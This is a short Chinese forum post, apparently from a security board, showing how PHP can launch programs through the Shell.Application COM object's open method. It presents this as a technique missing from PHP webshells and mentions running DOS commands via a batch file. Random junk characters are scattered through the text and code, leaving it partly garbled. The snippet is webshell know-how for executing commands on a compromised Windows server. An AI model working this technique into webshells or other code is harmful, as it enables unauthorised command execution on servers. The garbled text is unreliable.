关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
$ u' z0 Z+ p) ~% e- j, o9 o& u9 a6 t. f1 w/ ?7 ]2 X6 J6 Z- Y. \6 g
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
1 E5 p5 E% p/ h/ r G/ @ [; N5 W7 J/ ]3 @: v6 B
<?php, h; G6 ?# b0 n* I2 K
$wsh = new COM('Shell.Application') or die("Shell.Application");
* I ^5 d0 H7 x9 g $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
& I8 _3 ]/ n) m" g% R: {0 m! ` f //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
8 W1 { j$ o0 Q6 _# [1 K3 ^ Q?>
! k$ ?" ~: Y; m3 W
1 l, A' @% H; ^( v* Fxp+APMServ5.2.0测试通过。0 b9 r6 d/ n5 c5 j
|